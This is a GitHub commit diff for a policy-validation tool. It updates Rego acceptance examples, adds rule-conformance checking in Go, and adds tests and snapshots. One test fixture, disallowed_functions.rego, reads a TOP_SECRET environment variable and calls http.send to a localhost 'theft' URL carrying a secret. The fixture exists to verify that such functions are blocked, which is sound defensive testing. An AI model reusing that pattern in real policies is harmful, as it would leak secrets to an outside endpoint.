Skip to content

Commit

Permalink
Merge pull request #1023 from zregvart/issue/RHTAPBUGS-736
Browse files Browse the repository at this point in the history
  • Loading branch information
zregvart authored Sep 20, 2023
2 parents 994d96c + 8e28f96 commit 818fe8b
Show file tree
Hide file tree
Showing 11 changed files with 277 additions and 41 deletions.
13 changes: 10 additions & 3 deletions acceptance/examples/disallowed_functions.rego
Original file line number Diff line number Diff line change
Expand Up @@ -6,25 +6,32 @@
# test that certain rego functions are not allowed.
package policy.capabilities

import future.keywords.contains
import future.keywords.if

# METADATA
# title: use env var
deny if {
deny contains msg if {
opa.runtime().env.TOP_SECRET

msg := "boom"
}

# METADATA
# title: use http.send
deny if {
deny contains msg if {
http.send({
"url": "http://localhost:8080/theft?secret=top-secret",
"method": "GET",
})

msg := "boom"
}

# METADATA
# title: use net.lookup_ip_addr
deny if {
deny contains msg if {
net.lookup_ip_addr("foo.bar")

msg := "boom"
}
5 changes: 5 additions & 0 deletions acceptance/examples/unsupported.rego
Original file line number Diff line number Diff line change
@@ -0,0 +1,5 @@
package unsupported

deny {
true
}
18 changes: 15 additions & 3 deletions features/__snapshots__/validate_image.snap
Original file line number Diff line number Diff line change
Expand Up @@ -1799,9 +1799,9 @@ Error: success criteria not met
[Dropping rego capabilities:stderr - 1]
Error: 1 error occurred:
* error validating image ${REGISTRY}/acceptance/ec-happy-day of component Unnamed: load: loading policies: get compiler: 3 errors occurred:
${TEMP}/ec-work-${RANDOM}/policy/${RANDOM}/main.rego:14: rego_type_error: undefined function opa.runtime
${TEMP}/ec-work-${RANDOM}/policy/${RANDOM}/main.rego:20: rego_type_error: undefined function http.send
${TEMP}/ec-work-${RANDOM}/policy/${RANDOM}/main.rego:29: rego_type_error: undefined function net.lookup_ip_addr
${TEMP}/ec-work-${RANDOM}/policy/${RANDOM}/main.rego:15: rego_type_error: undefined function opa.runtime
${TEMP}/ec-work-${RANDOM}/policy/${RANDOM}/main.rego:23: rego_type_error: undefined function http.send
${TEMP}/ec-work-${RANDOM}/policy/${RANDOM}/main.rego:34: rego_type_error: undefined function net.lookup_ip_addr



Expand Down Expand Up @@ -3086,3 +3086,15 @@ Error: success criteria not met
}
}
---

[Unsupported policies:stdout - 1]

---

[Unsupported policies:stderr - 1]
Error: 1 error occurred:
* error validating image ${REGISTRY}/acceptance/image of component Unnamed: the rule "deny = true { true }" returns an unsupported value, at main.rego:3



---
25 changes: 24 additions & 1 deletion features/validate_image.feature
Original file line number Diff line number Diff line change
Expand Up @@ -843,4 +843,27 @@ Feature: evaluate enterprise contract
When ec command is run with "validate image --image ${REGISTRY}/acceptance/image --policy acceptance/policy --public-key ${known_PUBLIC_KEY} --ignore-rekor --show-successes --output=json --output=policy-input=${TMPDIR}/input.json"
Then the exit status should be 0
And the output should match the snapshot
And the "${TMPDIR}/input.json" file should match the snapshot
And the "${TMPDIR}/input.json" file should match the snapshot

Scenario: Unsupported policies
Given a key pair named "known"
Given an image named "acceptance/image"
Given a valid image signature of "acceptance/image" image signed by the "known" key
Given a valid attestation of "acceptance/image" signed by the "known" key
Given a git repository named "happy-day-policy" with
| main.rego | examples/unsupported.rego |
Given policy configuration named "ec-policy" with specification
"""
{
"sources": [
{
"policy": [
"git::https://${GITHOST}/git/happy-day-policy.git"
]
}
]
}
"""
When ec command is run with "validate image --image ${REGISTRY}/acceptance/image --policy acceptance/ec-policy --public-key ${known_PUBLIC_KEY} --ignore-rekor --show-successes"
Then the exit status should be 1
Then the output should match the snapshot
File renamed without changes.
File renamed without changes.
5 changes: 5 additions & 0 deletions internal/evaluator/__testdir__/unconforming/no_msg.rego
Original file line number Diff line number Diff line change
@@ -0,0 +1,5 @@
package no_msg

deny {
true
}
109 changes: 81 additions & 28 deletions internal/evaluator/conftest_evaluator_test.go
Original file line number Diff line number Diff line change
Expand Up @@ -24,6 +24,7 @@ import (
"embed"
"encoding/json"
"io"
"io/fs"
"os"
"path"
"path/filepath"
Expand Down Expand Up @@ -1575,44 +1576,20 @@ func TestCheckResultsTrim(t *testing.T) {
}
}

//go:embed __testdir__/*.rego
//go:embed __testdir__/*/*.rego
var policies embed.FS

func TestConftestEvaluatorEvaluate(t *testing.T) {
dir := t.TempDir()
require.NoError(t, os.MkdirAll(path.Join(dir, "inputs"), 0755))
require.NoError(t, os.WriteFile(path.Join(dir, "inputs", "data.json"), []byte("{}"), 0600))
require.NoError(t, os.MkdirAll(path.Join(dir, "policy"), 0755))

f, err := os.Create(path.Join(dir, "policy", "rules.tar"))
rego, err := fs.Sub(policies, "__testdir__/simple")
require.NoError(t, err)
ar := tar.NewWriter(f)

rego, err := policies.ReadDir("__testdir__")
rules, err := rulesArchive(t, rego)
require.NoError(t, err)

for _, r := range rego {
if r.IsDir() {
continue
}
f, err := policies.Open(path.Join("__testdir__", r.Name()))
require.NoError(t, err)

bytes, err := io.ReadAll(f)
require.NoError(t, err)

require.NoError(t, ar.WriteHeader(&tar.Header{
Name: r.Name(),
Mode: 0644,
Size: int64(len(bytes)),
}))

_, err = ar.Write(bytes)
require.NoError(t, err)
}
ar.Close()
f.Close()

ctx := withCapabilities(context.Background(), testCapabilities)

p, err := policy.NewOfflinePolicy(ctx, "2014-05-31")
Expand All @@ -1624,7 +1601,7 @@ func TestConftestEvaluatorEvaluate(t *testing.T) {

evaluator, err := NewConftestEvaluator(ctx, []source.PolicySource{
&source.PolicyUrl{
Url: path.Join(dir, "policy", "rules.tar"),
Url: rules,
Kind: source.PolicyKind,
},
}, p)
Expand All @@ -1650,6 +1627,34 @@ func TestConftestEvaluatorEvaluate(t *testing.T) {
snaps.MatchSnapshot(t, results, data)
}

func TestUnconformingRule(t *testing.T) {
dir := t.TempDir()
require.NoError(t, os.MkdirAll(path.Join(dir, "inputs"), 0755))
require.NoError(t, os.WriteFile(path.Join(dir, "inputs", "data.json"), []byte("{}"), 0600))

rego, err := fs.Sub(policies, "__testdir__/unconforming")
require.NoError(t, err)

rules, err := rulesArchive(t, rego)
require.NoError(t, err)

ctx := context.Background()

p, err := policy.NewInertPolicy(ctx, "")
require.NoError(t, err)

evaluator, err := NewConftestEvaluator(ctx, []source.PolicySource{
&source.PolicyUrl{
Url: rules,
Kind: source.PolicyKind,
},
}, p)
require.NoError(t, err)

_, _, err = evaluator.Evaluate(ctx, []string{path.Join(dir, "inputs")})
assert.EqualError(t, err, `the rule "deny = true { true }" returns an unsupported value, at no_msg.rego:3`)
}

var testCapabilities string

func init() {
Expand All @@ -1661,3 +1666,51 @@ func init() {
}
testCapabilities = data
}

func rulesArchive(t *testing.T, files fs.FS) (string, error) {
t.Helper()

dir := t.TempDir()

rules := path.Join(dir, "rules.tar")

f, err := os.Create(rules)
if err != nil {
return "", err
}
defer f.Close()
ar := tar.NewWriter(f)
defer ar.Close()

rego, err := fs.ReadDir(files, ".")
if err != nil {
return "", err
}

for _, r := range rego {
if r.IsDir() {
continue
}
f, err := files.Open(r.Name())
if err != nil {
return "", err
}

bytes, err := io.ReadAll(f)
if err != nil {
return "", err
}

require.NoError(t, ar.WriteHeader(&tar.Header{
Name: r.Name(),
Mode: 0644,
Size: int64(len(bytes)),
}))

if _, err = ar.Write(bytes); err != nil {
return "", err
}
}

return rules, nil
}
8 changes: 4 additions & 4 deletions internal/opa/__snapshots__/inspect_test.snap
Original file line number Diff line number Diff line change
Expand Up @@ -8,7 +8,7 @@
},
"location": {
"file": "more/bacon.REGO",
"row": 5,
"row": 8,
"col": 1
},
"path": [
Expand Down Expand Up @@ -37,7 +37,7 @@
},
"location": {
"file": "spam.rego",
"row": 5,
"row": 8,
"col": 1
},
"path": [
Expand Down Expand Up @@ -67,7 +67,7 @@
},
"location": {
"file": "more/bacon.REGO",
"row": 5,
"row": 8,
"col": 1
},
"path": [
Expand Down Expand Up @@ -96,7 +96,7 @@
},
"location": {
"file": "spam.rego",
"row": 5,
"row": 8,
"col": 1
},
"path": [
Expand Down
43 changes: 43 additions & 0 deletions internal/opa/inspect.go
Original file line number Diff line number Diff line change
Expand Up @@ -117,6 +117,44 @@ func shortPath(fullPath string, destDir string) string {
return strings.TrimPrefix(strings.TrimPrefix(fullPath, destDir), "/")
}

func checkRules(rules []*ast.AnnotationsRef) error {
for _, rule := range rules {
r := rule.GetRule()
if r == nil {
// not a rule
continue
}
head := r.Head
term := head.Value
var value ast.Value
if term != nil {
// cases when rule is assigned, e.g. deny = msg {...}
value = term.Value
} else {
// cases when rule is keyed, e.g. deny[msg] {...}
key := head.Key
value = key.Value
}

switch value.(type) {
case ast.String:
continue
case *ast.String:
continue
case ast.Object:
continue
case ast.Var:
continue
case ast.Call:
continue
}

return fmt.Errorf("the rule %q returns an unsupported value, at %s", r.String(), r.Location)
}

return nil
}

// Finds all the rego files, inspects each one and returns a list the inspect data
func InspectDir(afs afero.Fs, dir string) ([]*ast.AnnotationsRef, error) {
regoPaths := []string{}
Expand Down Expand Up @@ -171,6 +209,11 @@ func InspectDir(afs afero.Fs, dir string) ([]*ast.AnnotationsRef, error) {
return nil, err
}

// check for conformance
if err := checkRules(result); err != nil {
return nil, err
}

return result, nil
}

Expand Down
Loading

0 comments on commit 818fe8b

Please sign in to comment.